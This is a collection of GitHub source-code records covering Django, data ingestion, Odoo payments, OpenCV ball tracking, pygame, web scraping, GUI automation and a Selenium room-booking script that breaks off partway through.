+{"seq_id":"67296044","text":"from django.shortcuts import render\nfrom .forms import PhotoForm\n# let return a Json Response\nfrom django.http import JsonResponse\n\n\n\n\n\n\n\n\n\ndef photo_add_view(request):\n    template_name = 'AjaxProject/index.html'\n    form = PhotoForm(request.POST or None, request.FILES or None)\n    data ={} #data dictionary is going to be empty initialy if below is valid we can add something to it \n    if request.is_ajax():\n        if form.is_valid():\n            form.save()\n            data['name'] = form.cleaned_data.get('name')\n            data['status'] = 'ok'\n            return JsonResponse(data)\n    context = {'form': form}\n    return render(request, template_name, context)\n","repo_name":"Frank1963-mpoyi/Fast-Food-Web-App","sub_path":"AjaxProject/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28310165640","text":"# update the components\n\nimport os\nimport urllib.request as request # Using it to download my data from url\nimport zipfile                   # to perform unzip operation\nfrom textSummarizer.logging import logger  # import from common.py file\nfrom textSummarizer.utils.common import get_size  # import from common.py file\nfrom pathlib import Path\nfrom textSummarizer.entity import DataIngestionConfig\n\n# i just copied code from 01_data_ingestion.ipynb file and pasted here\n\nclass DataIngestion:\n    def __init__(self, config: DataIngestionConfig):\n        self.config = config   # here i am initializing the config\n\n# two methods 1. download data from url and 2. unzip the file\n    \n    def download_file(self):         \n        if not os.path.exists(self.config.local_data_file):\n            filename, headers = request.urlretrieve(\n                url = self.config.source_URL,  # its the url we defined in config.yml\n                filename = self.config.local_data_file  # it shows where i am downloading this file(local_data_file).\n            )\n            logger.info(f\"{filename} download! with following info: \\n{headers}\")\n        else:\n            logger.info(f\"File already exists of size: {get_size(Path(self.config.local_data_file))}\")  \n          # i also want to see the size of the file. therefore using get_size method.\n        \n    \n    def extract_zip_file(self):\n        \"\"\"\n        zip_file_path: str\n        Extracts the zip file into the data directory\n        Function returns None\n        \"\"\"\n        unzip_path = self.config.unzip_dir # unzip into unzip_dir.\n        os.makedirs(unzip_path, exist_ok=True)\n        with zipfile.ZipFile(self.config.local_data_file, 'r') as zip_ref:\n            zip_ref.extractall(unzip_path)  # i am extracting in unzip file","repo_name":"imtiaz456/Text-Summarizer-project","sub_path":"src/textSummarizer/components/data_ingestion.py","file_name":"data_ingestion.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3058099907","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nprice_data = pd.read_csv(r\"C:\\Users\\amin\\Desktop\\price.csv\")\r\nprice_data.head()\r\n\r\nimport pandas as pd\r\nfrom numpy import *\r\ndef GRA_ONE(DataFrame,m=0):\r\n    gray= DataFrame\r\n    #读取为df格式\r\n    gray=(gray - gray.min()) / (gray.max() - gray.min())\r\n    #标准化\r\n    std=gray.iloc[:,m]#为标准要素\r\n    ce=gray.iloc[:,0:]#为比较要素\r\n    n=ce.shape[0]\r\n    m=ce.shape[1]#计算行列\r\n\r\n    #与标准要素比较，相减\r\n    a=zeros([m,n])\r\n    for i in range(m):\r\n        for j in range(n):\r\n            a[i,j]=abs(ce.iloc[j,i]-std[j])\r\n\r\n    #取出矩阵中最大值与最小值\r\n    c=amax(a)\r\n    d=amin(a)\r\n\r\n    #计算值\r\n    result=zeros([m,n])\r\n    for i in range(m):\r\n        for j in range(n):\r\n            result[i,j]=(d+0.5*c)/(a[i,j]+0.5*c)\r\n\r\n    #求均值，得到灰色关联值\r\n    result2=zeros(m)\r\n    for i in range(m):\r\n            result2[i]=mean(result[i,:])\r\n    RT=pd.DataFrame(result2)\r\n    return RT\r\n\r\ndef GRA(DataFrame):\r\n    list_columns = [str(s) for s in range(len(DataFrame.columns)) if s not in [None]]\r\n    df_local = pd.DataFrame(columns=list_columns)\r\n    for i in range(len(DataFrame.columns)):\r\n        df_local.iloc[:,i] = GRA_ONE(DataFrame,m=i)[0]\r\n    return df_local\r\n\r\nprint(GRA(price_data))\r\nGRA(price_data).to_csv(r\"C:\\Users\\amin\\Desktop\\price_gray.csv\")","repo_name":"heiker/-","sub_path":"灰色关联度分析.py","file_name":"灰色关联度分析.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26809024681","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport itertools\n\nfrom gwv import validator\n\n\nclass UniqueNamePerVendorValidator(validator.VisitorValidator):\n  \"\"\"Checks if any objects have duplicate names.\"\"\"\n\n  def visit_Vendor(self, vendor):\n    name_set = set()\n\n    for obj in itertools.chain(\n        iter(vendor.trait_list), iter(vendor.typespace_list),\n        iter(vendor.resource_list), iter(vendor.interface_list),\n        iter(vendor.struct_list), iter(vendor.enum_list)):\n      if obj.base_name in name_set:\n        self.add_failure(\"Duplicate type name (%s) detected in vendor \"\n                         \"%s\" % (obj.base_name, vendor.base_name))\n      name_set.add(obj.base_name)\n\n\nprocess = UniqueNamePerVendorValidator.process\n","repo_name":"openweave/openweave-wdlc","sub_path":"backend/lib/nwv/validators/unique_name_per_vendor_validator.py","file_name":"unique_name_per_vendor_validator.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"75136406453","text":"import pyautogui # No terminal: pip install pyautogui\nimport pandas # No terminal:  pip install pandas numpy openpyxl\nimport time\npyautogui.PAUSE = 0.3\n\n# pyautogui.click -- clica ciom o mouse\n# pyautogui.write -- escreve um texto\n# pyautogui.press -- aperta 1 tecla\n# pyautogui.hotkey -- atalho (combinação de teclas)\n\n# PASSO A PASSO DO PROJETO\n\n#------------------------------------------------------------------------------------   \n# PASSO 1: ENTRAR NO SITE DA EMPRESA\n    # https://dlp.hashtagtreinamentos.com/python/intensivao/login\n\n# Abrir o Chrome\npyautogui.press(\"win\")\npyautogui.write (\"brave\")\npyautogui.press (\"enter\")\n\ntime.sleep(3)\n\n# Entrar no link\nlink = \"https://dlp.hashtagtreinamentos.com/python/intensivao/login\"\npyautogui.write (link)\npyautogui.press (\"enter\")\n\n# Esperar o site carregar\ntime.sleep(3)\n\n#------------------------------------------------------------------------------------\n# PASSO 2: Fazer log In\npyautogui.click(x=213, y=368) #clicar no campo do email\npyautogui.write(\"123@gmail.com\") #inserir seu email\n\npyautogui.press(\"tab\") #passar para o campo da senha\npyautogui.write(\"123\") #inserir sua senha\n \npyautogui.press(\"tab\") #passar para o botão de log in\npyautogui.press(\"enter\")\ntime.sleep(3)\n\n#--------------------------------------------------------------------------------------\n# PASSO 3: Importar a base de dados dos produtos\ntabela = pandas.read_csv (\"produtos.csv\")\nprint(tabela)\n\nfor linha in tabela.index:\n    #------------------------------------------------------------------------------------\n    # PASSO 4: Cadastrar os produto\n    pyautogui.click(x=206, y=262)\n\n    codigo = tabela.loc[linha, \"codigo\"]\n\n    # Preencher os ccampos\n    pyautogui.write(str(codigo))\n    pyautogui.press(\"tab\")\n    pyautogui.write(str(tabela.loc[linha, \"marca\"]))\n    pyautogui.press(\"tab\")\n    pyautogui.write(str(tabela.loc[linha, \"tipo\"]))\n    pyautogui.press(\"tab\")\n    pyautogui.write(str(tabela.loc[linha, \"categoria\"]))\n    pyautogui.press(\"tab\")\n    pyautogui.write(str(tabela.loc[linha, \"preco_unitario\"]))\n    pyautogui.press(\"tab\")\n    pyautogui.write(str(tabela.loc[linha, \"custo\"]))\n    pyautogui.press(\"tab\")\n\n    obs = tabela.loc[linha, \"obs\"]\n    if not pandas.isna(obs):    \n        pyautogui.write(str(tabela.loc[linha, \"obs\"]))\n\n    # Apertar para enviar\n    pyautogui.press(\"tab\")\n    pyautogui.press(\"enter\")\n    pyautogui.scroll(999)","repo_name":"thamyyv/Python-PowerUP","sub_path":"codigo.py","file_name":"codigo.py","file_ext":"py","file_size_in_byte":2394,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70896521332","text":"\n###BACKGROUND / TISSUE and CELL DETECTOR FUNCTIONS\n\nimport numpy as np\n\n#1.Tissue detector\n#analyses distribution of pixels colours in the patch\n#if tissue staining patterns are detected above threshold\n#than patch classified as \"tissue\", otherwise \"background\"\n#threshold tuned to detect even small fragments of tissue\n\ndef tissue_detector (im):\n    count_med = 0\n    im_B = im[:,:,2]\n    im_B_reshape = np.reshape(im_B, len(im_B[0])*len(im_B[1]))\n    for i in range(len(im_B_reshape)):\n        if im_B_reshape[i] < 200 and im_B_reshape[i] > 100:\n            count_med = count_med + 1\n            if count_med > 7000:\n                return True\n    return False\n\n#2. Nucleus detector (Blue/Hematoxylin colours Detector)\n#necessary for decision of brightness / stain normalization\n#if number of pixels corresponding to nuclear staining patterns of the cells\n#then practically there are nuclei detected\n#is above the threshold, than patch contains cells\n\ndef blue_detector (im):\n    count = 0\n    im_B = im[:,:,2]\n    im_B_reshape = np.reshape(im_B, len(im_B[0])*len(im_B[1]))\n    for i in range(len(im_B_reshape)):\n        if im_B_reshape[i] < 100:\n            count = count + 1\n            if count > 10:\n                return True\n    return False","repo_name":"gagarin37/deep_learning_pca","sub_path":"4_WSI_pipeline/WSI_pipeline_v6/wsi_detectors.py","file_name":"wsi_detectors.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"21"}
+{"seq_id":"74063002933","text":"# Note Adjust to the size of the first picture\n\nimport imageio\n\n# For quick gifs\ndef quick(): \n    images = []\n    filenames = [\"069.jpg\", \"00881.jpg\"]\n    for filename in filenames:\n        images.append(imageio.imread(filename))\n    imageio.mimsave('movie.gif', images)\n \nquick()\n","repo_name":"mmcclain117/School-Code","sub_path":"Go Through/Eclipse Python/Image Comparision/gifCre.py","file_name":"gifCre.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43453544941","text":"import random as r\r\nimport time\r\n\r\n\r\nclass AlgorithmGenerator:\r\n    def __init__(self, n_min: int, n_max: int):\r\n        self.n_min: int = n_min\r\n        self.n_max: int = n_max\r\n\r\n    def get_random_numbers(self, n: int, seed: int = -1) -> list[int]:\r\n        if seed == -1:\r\n            seed = round(time.time())\r\n        a = 16807\r\n        m = 0x7fffffff\r\n\r\n        numbers: list[int] = []\r\n        for i in range(n):\r\n            seed = seed * a % m\r\n            numbers.append(seed % (self.n_max - self.n_min) + self.n_min)\r\n\r\n        return numbers\r\n\r\n\r\nclass TableGenerator:\r\n    def __init__(self, n_min: int, n_max: int):\r\n        self.n_min: int = n_min\r\n        self.n_max: int = n_max\r\n        self.random_cnt: int = (self.n_max - self.n_min) * 1000\r\n\r\n    def fill_file_by_random(self, filename: str):\r\n        with open(filename, 'w') as f:\r\n            for i in range(self.random_cnt):\r\n                f.write(str(r.randint(self.n_min, self.n_max)) + '\\n')\r\n\r\n    def get_random_numbers(self, filename: str, n: int, seed: int = -1) -> list[int]:\r\n        if seed == -1:\r\n            seed = r.randint(0, self.random_cnt)\r\n\r\n        numbers: list[int] = []\r\n        with open(filename) as f:\r\n            all_numbers: list[int] = [int(x) for x in f.read().split()]\r\n\r\n        for i in range(seed, seed + n):\r\n            numbers.append(all_numbers[i % self.random_cnt])\r\n\r\n        return numbers\r\n\r\n\r\nclass HollinCriterion:\r\n    @staticmethod\r\n    def count(x: list[int]) -> float:\r\n        def R(idx: int) -> float:\r\n            indices: list[int] = [i + 1 for i, value in enumerate(var_series_z) if value == z[idx]]\r\n            return sum(indices) / len(indices)\r\n\r\n        def sign(y: int) -> int:\r\n            if y > 0:\r\n                return 1\r\n            elif y < 0:\r\n                return -1\r\n            else:\r\n                return 0\r\n\r\n        def get_median() -> int | float:\r\n            if n % 2:\r\n                return var_series[(n - 1) // 2]\r\n            else:\r\n                return (var_series[n // 2 - 1] + var_series[(n // 2)]) / 2\r\n\r\n        def get_k() -> float:\r\n            def k_func(n1, n2, k1, k2) -> float:\r\n                return (n - n1) * (k2 - k1) / (n2 - n1) + k1\r\n\r\n            if 5 <= n < 10:\r\n                return k_func(5, 10, 10.11, 36.95)\r\n            elif 10 <= n < 20:\r\n                return k_func(10, 20, 36.95, 140.62)\r\n            elif 20 <= n <= 50:\r\n                return k_func(20, 50, 140.62, 851.62)\r\n            elif 50 <= n <= 100:\r\n                return k_func(50, 100, 851.62, 3370)\r\n            elif 100 <= n < 200:\r\n                return k_func(100, 200, 3370, 13407)\r\n            elif 200 <= n <= 400:\r\n                return k_func(200, 400, 13407, 53480)\r\n            else:\r\n                raise ValueError(f'There is not value for n = {n}')\r\n\r\n        n: int = len(x)\r\n        var_series: list[int] = list(sorted(x))  # вариационный ряд\r\n        median: int | float = get_median()\r\n        k: float = get_k()\r\n\r\n        z: list[int | float] = [abs(x[i] - median) for i in range(n)]\r\n        var_series_z: list[int | float] = list(sorted(z))\r\n\r\n        series: list[float] = [sign((x[i] - median) * (x[i - 1] - median)) * R(i) * R(i - 1)\r\n                               for i in range(1, n)]\r\n        return 1 / (k * (n - 1)) * sum(series)\r\n","repo_name":"xanderkov/ics7-modeling","sub_path":"lab-03/src/rand.py","file_name":"rand.py","file_ext":"py","file_size_in_byte":3343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39359149567","text":"import cv2\nimport numpy as np\n\ncalibration_data = np.load('/home/sudeesh/Technocrats/Task1/calibration_data.npz')\ncamera_matrix = calibration_data['mtx']\ndist_coeffs = calibration_data['dist']\nobject_radius = 10 #assuming that we know the ball radius\n\ncap = cv2.VideoCapture(0)  \n\nwhile True:\n    ret, frame = cap.read()\n\n    if not ret:\n        break\n\n    undistorted_frame = cv2.undistort(frame, camera_matrix, dist_coeffs)\n    gray_frame = cv2.cvtColor(undistorted_frame, cv2.COLOR_BGR2GRAY)\n    blurred = cv2.GaussianBlur(gray_frame, (9, 9), 2)\n    circles = cv2.HoughCircles(\n        blurred, cv2.HOUGH_GRADIENT, dp=1, minDist=25, param1=50, param2=40, minRadius=2, maxRadius=30\n    )\n\n    if circles is not None:\n        circles = np.uint16(np.around(circles))\n        for circle in circles[0, :]:\n            x, y, r = circle\n            cv2.circle(undistorted_frame, (x, y), r, (0, 255, 0), 4)\n            depth = (object_radius * camera_matrix[0, 0]) / (2 * r)\n            \n            print(f\"X: {x}, Y: {y}, Z: {depth}\")\n \n    cv2.imshow(\"Ball Tracking\", undistorted_frame)\n\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n        break\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"Sudeesh07/Ball_tracker_ROS2_humble","sub_path":"balltracking.py","file_name":"balltracking.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"33801953977","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport numpy as np\n\nprint(plt.style.available)  # 打印出可以使用的样式\nplt.style.use('ggplot')  # 使用ggplot样式\n\nfig, axs = plt.subplots(ncols=2, nrows=2)\nax1, ax2, ax3, ax4 = axs.ravel()\n\n# 1.绘制一个散点图\nx, y = np.random.normal(size=(2, 50))\nax1.scatter(x, y, s=5)\n\n# 2.绘制一个条形图\nx = np.arange(0, 10)\ny = np.arange(0, 10)\nn_colors = len(plt.rcParams['axes.prop_cycle'])\ninterval = np.linspace(0, 10, n_colors)\nfor i in interval:\n    ax2.plot(x, y + i, '-')\n\n# 3.绘制并列直方图\nx = np.arange(0, 10)\ny1, y2, y3 = np.random.randint(0, 20, size=(3, 10))\nbar_width = 0.2\nax3.bar(x, y1, bar_width, color='green')\nax3.bar(x + bar_width, y2, bar_width, color='blue')\nax3.bar(x + 2 * bar_width, y3, bar_width, color='cyan')\n\n# 4.绘制小图像放入坐标轴中\ncircle_centre = np.random.randint(1, 10, size=(n_colors, 2))\nfor i, color in enumerate(plt.rcParams['axes.prop_cycle']):\n    # 因为plt.rcParams['axes.prop_cycle']返回的是一个dict类型数据，故需要使用color['color']\n    ax4.add_patch(patches.Circle(circle_centre[i], radius=.5, color=color['color']))\n\nax4.axis('equal')\n\nplt.show()\n","repo_name":"Lovecanon/ProfessionalPython","sub_path":"Matplotlib/Lesson11Beautiful.py","file_name":"Lesson11Beautiful.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40905294493","text":"class Solution:\n    def rotate(self, matrix: List[List[int]]) -> None:\n        \"\"\"\n        Do not return anything, modify matrix in-place instead.\n        \"\"\"\n        tempList = []\n        for l in range(len(matrix)):\n            tempList.append([])\n        for x in matrix:\n            y = 0\n            for z in x:\n                tempList[y].insert(0,z)\n                y+=1\n                \n                \n        matrix.clear()\n        for k in tempList:\n            matrix.append(k)\n                ","repo_name":"LukeKnezCK/leetcodeNonsense","sub_path":"pythonStuff/leetcode48.py","file_name":"leetcode48.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40365150474","text":"from odoo import models, fields, api\n\n\nclass AccountPayment(models.Model):\n    _inherit = \"account.payment\"\n\n    account_analytic_id = fields.Many2one('account.analytic.account',string='Analytic Account')\n    effective_date      = fields.Date(string='Efective Date')\n    bank_reference      = fields.Char(string='Bank Reference')\n    cheque_reference    = fields.Char(string='Cheque Reference')\n    \n    def _prepare_move_line_default_vals(self, write_off_line_vals=None):\n        ''' Prepare the dictionary to create the default account.move.lines for the current payment.\n        :param write_off_line_vals: Optional dictionary to create a write-off account.move.line easily containing:\n            * amount:       The amount to be added to the counterpart amount.\n            * name:         The label to set on the line.\n            * account_id:   The account on which create the write-off.\n        :return: A list of python dictionary to be passed to the account.move.line's 'create' method.\n        '''\n        self.ensure_one()\n        write_off_line_vals = write_off_line_vals or {}\n\n        if not self.journal_id.payment_debit_account_id or not self.journal_id.payment_credit_account_id:\n            raise UserError(_(\n                \"You can't create a new payment without an outstanding payments/receipts account set on the %s journal.\",\n                self.journal_id.display_name))\n\n        # Compute amounts.\n        write_off_amount_currency = write_off_line_vals.get('amount', 0.0)\n\n        if self.payment_type == 'inbound':\n            # Receive money.\n            liquidity_amount_currency = self.amount\n        elif self.payment_type == 'outbound':\n            # Send money.\n            liquidity_amount_currency = -self.amount\n            write_off_amount_currency *= -1\n        else:\n            liquidity_amount_currency = write_off_amount_currency = 0.0\n\n        write_off_balance = self.currency_id._convert(\n            write_off_amount_currency,\n            self.company_id.currency_id,\n            self.company_id,\n            self.date,\n        )\n        liquidity_balance = self.currency_id._convert(\n            liquidity_amount_currency,\n            self.company_id.currency_id,\n            self.company_id,\n            self.date,\n        )\n        counterpart_amount_currency = -liquidity_amount_currency - write_off_amount_currency\n        counterpart_balance = -liquidity_balance - write_off_balance\n        currency_id = self.currency_id.id\n\n        if self.is_internal_transfer:\n            if self.payment_type == 'inbound':\n                liquidity_line_name = _('Transfer to %s', self.journal_id.name)\n            else: # payment.payment_type == 'outbound':\n                liquidity_line_name = _('Transfer from %s', self.journal_id.name)\n        else:\n            liquidity_line_name = self.payment_reference\n\n        # Compute a default label to set on the journal items.\n\n        payment_display_name = self._prepare_payment_display_name()\n\n        default_line_name = self.env['account.move.line']._get_default_line_name(\n            _(\"Internal Transfer\") if self.is_internal_transfer else payment_display_name['%s-%s' % (self.payment_type, self.partner_type)],\n            self.amount,\n            self.currency_id,\n            self.date,\n            partner=self.partner_id,\n        )\n\n        line_vals_list = [\n            # Liquidity line.\n            {\n                'name': liquidity_line_name or default_line_name,\n                'date_maturity': self.date,\n                'amount_currency': liquidity_amount_currency,\n                'currency_id': currency_id,\n                'debit': liquidity_balance if liquidity_balance > 0.0 else 0.0,\n                'credit': -liquidity_balance if liquidity_balance < 0.0 else 0.0,\n                'partner_id': self.partner_id.id,\n                'analytic_account_id': self.account_analytic_id.id,\n                'account_id': self.journal_id.payment_credit_account_id.id if liquidity_balance < 0.0 else self.journal_id.payment_debit_account_id.id,\n            },\n            # Receivable / Payable.\n            {\n                'name': self.payment_reference or default_line_name,\n                'date_maturity': self.date,\n                'amount_currency': counterpart_amount_currency,\n                'currency_id': currency_id,\n                'debit': counterpart_balance if counterpart_balance > 0.0 else 0.0,\n                'credit': -counterpart_balance if counterpart_balance < 0.0 else 0.0,\n                'partner_id': self.partner_id.id,\n                'account_id': self.destination_account_id.id,\n                'analytic_account_id': self.account_analytic_id.id,\n            },\n        ]\n        if not self.currency_id.is_zero(write_off_amount_currency):\n            # Write-off line.\n            line_vals_list.append({\n                'name': write_off_line_vals.get('name') or default_line_name,\n                'amount_currency': write_off_amount_currency,\n                'currency_id': currency_id,\n                'debit': write_off_balance if write_off_balance > 0.0 else 0.0,\n                'credit': -write_off_balance if write_off_balance < 0.0 else 0.0,\n                'partner_id': self.partner_id.id,\n                'account_id': write_off_line_vals.get('account_id'),\n            })\n        return line_vals_list\n\n        \nclass AccountRegisterPayment(models.TransientModel):\n    _inherit = \"account.payment.register\"\n\n    account_analytic_id = fields.Many2one('account.analytic.account',\n        string='Analytic Account')\n\n    @api.model\n    def default_get(self, fields_list):\n        # OVERRIDE\n        res = super().default_get(fields_list)\n        move_ids = self._context.get('active_ids', [])\n        if not move_ids or len(move_ids) != 1:\n            return res\n        move = self.env['account.move'].browse(move_ids)\n        res.update(account_analytic_id=move.analytic_account_id.id)\n        return res\n\n    def _create_payment_vals_from_wizard(self):\n        payment_vals = {\n            'date': self.payment_date,\n            'amount': self.amount,\n            'payment_type': self.payment_type,\n            'partner_type': self.partner_type,\n            'ref': self.communication,\n            'journal_id': self.journal_id.id,\n            'currency_id': self.currency_id.id,\n            'partner_id': self.partner_id.id,\n            'partner_bank_id': self.partner_bank_id.id,\n            'payment_method_id': self.payment_method_id.id,\n            'destination_account_id': self.line_ids[0].account_id.id,\n            'account_analytic_id': self.account_analytic_id.id,\n        }\n\n        if not self.currency_id.is_zero(self.payment_difference) and self.payment_difference_handling == 'reconcile':\n            payment_vals['write_off_line_vals'] = {\n                'name': self.writeoff_label,\n                'amount': self.payment_difference,\n                'account_id': self.writeoff_account_id.id,\n            }\n        return payment_vals\n\n\n\n    \n    \n\n        \n\n    \n    \n\n    \n    ","repo_name":"omikronkreatif/Kanjabungnew","sub_path":"asa_analytic_payment/models/payment.py","file_name":"payment.py","file_ext":"py","file_size_in_byte":7058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9898137934","text":"import os\nos.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = \"hide\"\nfrom pygame.locals import *\nimport pygame\npygame.init()\n\nscale=10\nfont=pygame.font.SysFont(None,26)\nWIDTH = 42*scale\nHEIGHT = 42*scale\nWHITE = (255, 255, 255)\nBLUE = (0, 0, 255)\nRED = (255, 0, 0)\nBLACK = (0,0,0)\ngame_display = pygame.display.set_mode((WIDTH,HEIGHT))\npygame.display.set_caption('SwimmerWorldv1')\nclock = pygame.time.Clock()\n\ndef draw_environment(_traj):\n    game_display.fill(WHITE)\n    #heading=font.render('Episode {}'.format(episode),True,BLACK)\n    #game_display.blit(heading,[WIDTH/2 - 30 ,35])\n    pygame.draw.circle(game_display, (128,0,128), [int(_traj[0]*scale), int(_traj[1]*scale)], 12)\n    pygame.draw.circle(game_display, (0,255,0), [int(_traj[2]*scale), int(_traj[3]*scale)], 3)\n    pygame.draw.rect(game_display, BLUE, (30*scale,30*scale, 6*scale, 6*scale))\n    pygame.draw.rect(game_display, RED, (6*scale, 6*scale, 30*scale, 30*scale),3)\n    pygame.display.update()\n\n\ndef render(traj,framerate=240):\n    i=0\n    while i<len(traj):\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                pygame.quit()\n                quit()\n        draw_environment(traj[i])\n        i+=1\n        clock.tick(framerate)\n","repo_name":"RpDp-git/LearningToSwim-DQN","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"25853286335","text":"import requests\r\nimport html5lib\r\nimport pickle\r\nfrom bs4 import BeautifulSoup\r\n\r\nurl = \"http://www.jrrvf.com/hisweloke/sindar/online/sindar/dict-en-sd.html\"\r\nr = requests.get(url)\r\n\r\nsoup = BeautifulSoup(r.content, \"html5lib\")\r\nwords = soup.find_all(\"p\", class_=\"sindict\")\r\n\r\ndictionary = {}\r\n\r\ncount = 0\r\nfor item in words:        \r\n        englishWord = item.find(\"span\", class_=\"entry\").text\r\n        elvishWord = item.find(\"span\", class_=\"form\").text\r\n        POS = item.find_all(\"i\")\r\n        speech = POS[1].text\r\n        dictionary[englishWord] = {}\r\n        dictionary[englishWord][speech] = [elvishWord]\r\n\r\n#for i in sorted(dictionary):\r\n        #print(i, dictionary[i])\r\n\r\n#with open('sindarin.pickle', 'wb') as handle:\r\n        #pickle.dump(dictionary, handle)\r\n","repo_name":"TheMagikarp/Sindarin-Translator","sub_path":"dictionaryScraper.py","file_name":"dictionaryScraper.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"17767455773","text":"# 개미 전사\n\nn = int(input())\nk = list(map(int, input().split()))\n\nresult = [0] * n\n\nresult[0], result[1] = k[0], max(k[0], k[1])\nfor i in range(2, n):\n  result[i] = max(result[i - 2] + k[i], result[i - 1])\n\nprint(result[n-1])","repo_name":"heeheejj/Algorithm","sub_path":"lct/dp/8-3.py","file_name":"8-3.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27839926655","text":"import os\nfrom datetime import datetime, timedelta\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nimport time\nfrom dotenv import load_dotenv\n\nimport time\nfrom app.decrypt import Decrypt\n\nfrom app.firebase_util import update_available_rooms\n\n\nclass RoomBooker:\n    def __init__(self):\n        load_dotenv()  # load environment variables\n\n        chrome_options = Options()\n        chrome_options.add_argument(\"window-size=1920,1080\")\n        chrome_options.add_argument(\"disable-dev-shm-usage\")\n        chrome_options.add_argument(\"no-sandbox\")\n\n        chrome_options.binary_location = os.environ.get(\"GOOGLE_CHROME_BIN\") if os.environ.get(\n            \"GOOGLE_CHROME_BIN\") else os.getenv(\"GOOGLE_CHROME_BIN\")\n\n        chrome_options.add_argument(\n            \"user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36\")\n\n        self.driver = webdriver.Chrome(executable_path=os.environ.get(\n            \"CHROMEDRIVER_PATH\") if os.environ.get(\"CHROMEDRIVER_PATH\") else os.getenv(\"CHROMEDRIVER_PATH\"), options=chrome_options)\n\n    def is_logged_in(self):\n        print(\"Checking if logged in\")\n        # if class with _wx_s exists\n        try:\n            self.driver.find_element(By.CLASS_NAME, \"_wx_s\")\n            return True\n        except:\n            return False\n\n    def login(self, p, u):\n        print(\"Logging in\")\n\n        self.driver.implicitly_wait(5000)\n        link = \"https://mail.uio.no/owa/#path=/calendar\"\n        self.driver.get(link)\n        self.driver.implicitly_wait(5000)\n\n        self.driver.find_element(\n            By.ID, \"username\").send_keys(u)\n        self.driver.find_element(\n            By.ID, \"password\").send_keys(p)\n        self.driver.find_element(By.ID, \"password\").submit()\n\n        time.sleep(1)\n        print(\"Logged in\")\n        self.driver.get(\n            \"https://mail.uio.no/owa/#path=/calendar/view/Month\")\n\n        while True:\n            if self.driver.current_url != \"https://mail.uio.no/owa/#path=/calendar/view/Month\":\n                self.driver.get(\n                    \"https://mail.uio.no/owa/#path=/calendar/view/Month\")\n                time.sleep(1)\n            else:\n                break\n\n        print(\"Calendar loaded\")\n\n    def get_available_rooms(self, building_, year, month, day, start_time, end_time):\n        print(\"Getting available rooms\")\n        self.driver.implicitly_wait(5000)\n\n        # find all buttons inside div with class _wx_s\n        buttons = self.driver.find_element(\n            By.CLASS_NAME, \"_wx_s\").find_elements(By.TAG_NAME, \"button\")\n        if len(buttons) > 0:\n            buttons[0].click()\n\n        print(\"Passing in the time\")\n        self.driver.implicitly_wait(5000)\n\n        self.book_time(year, month, day, start_time, end_time)\n        print(\"time checked\")\n        time.sleep(1)\n\n        print(\"Finding the building\")\n        self.driver.implicitly_wait(5000)\n        self.driver.find_element(By.CSS_SELECTOR, \"form[action='javascript:void(0);']\").find_element(\n            By.TAG_NAME, \"input\").click()\n        self.driver.implicitly_wait(5000)\n        self.driver.find_element(\n            By.CSS_SELECTOR, \"button._lw_a._lw_b.ms-font-weight-regular.ms-font-color-black.o365button\").click()\n        self.driver.implicitly_wait(5000)\n\n        # Find the buildings\n        build_list = self.driver.find_elements(\n            By.XPATH, \"//button/span[contains(text(), 'Choose new room list')]\")\n        self.driver.implicitly_wait(5000)\n        build_list[0].click()\n\n        # find the buildings\n        self.driver.implicitly_wait(5000)\n        div_with_rooms = self.driver.find_element(\n            By.CSS_SELECTOR, \"div[aria-label='List of room lists']\").find_element(By.TAG_NAME, \"div\")\n        # Select the building\n        buildings = div_with_rooms.find_elements(By.TAG_NAME, \"div\")\n        self.driver.implicitly_wait(10000)\n  